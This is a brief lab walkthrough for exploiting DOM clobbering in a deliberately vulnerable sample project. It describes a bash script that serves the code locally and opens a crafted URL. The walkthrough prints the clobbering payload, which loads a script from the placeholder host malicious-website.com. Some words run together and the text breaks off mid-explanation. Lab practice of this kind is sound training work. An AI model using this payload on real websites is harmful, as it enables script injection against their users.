Dom-Clobbering
https://gitlab.com/jobertabma/vulnerable-code/-/tree/master/dom-clobbering?ref_type=heads
Step 1: Understand the Vulnerability
The vulnerability lies in the fact that the
nameparameter from the URL is directly output to the HTML without proper sanitization.This allows an attacker to manipulate the DOM by injecting elements with specific IDs and attributes that the JavaScript code will later use.

Step 2: Create and Run the Bash Script
Create the Bash Script: Create a file named
run_dom.shand add the provided Bash script to it.
Explanation of the Script:
echo $1 > _tmp/strip: This line is just an example of writing some input to a file, it doesn't affect the exploitation.php -S 127.0.0.1:8080 -tdom-clobbering&: This starts a PHP built-in web server on127.0.0.1:8080, serving files from the dom-clobbering directory.This line uses the
opencommand to open the specified URL in the default web browser.The URL contains a specially crafted
nameparameter:%3Ca%20id=someObject%3E%3Ca%20id=someObject%20name=url%20href=//malicious-website.com/malicious.js%3E.This URL-encoded string translates to:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>.wait: This waits for the background processes to finish.
2.Make the Script Executable: Change the script's permissions to make it executable.
3.Run the script:

Expected Outcomes:
The expected outcome of exploiting the DOM clobbering vulnerability in the provided code is that a malicious script from //malicious-website.com/malicious.js will be loaded and executed in the context of the vulnerable web page. Here’s a detailed breakdown of what will happen:
Malicious Script Injection:
The vulnerable web page receives the
nameparameter from the URL, which contains the crafted payload.The HTML output will include the injected elements:

Last updated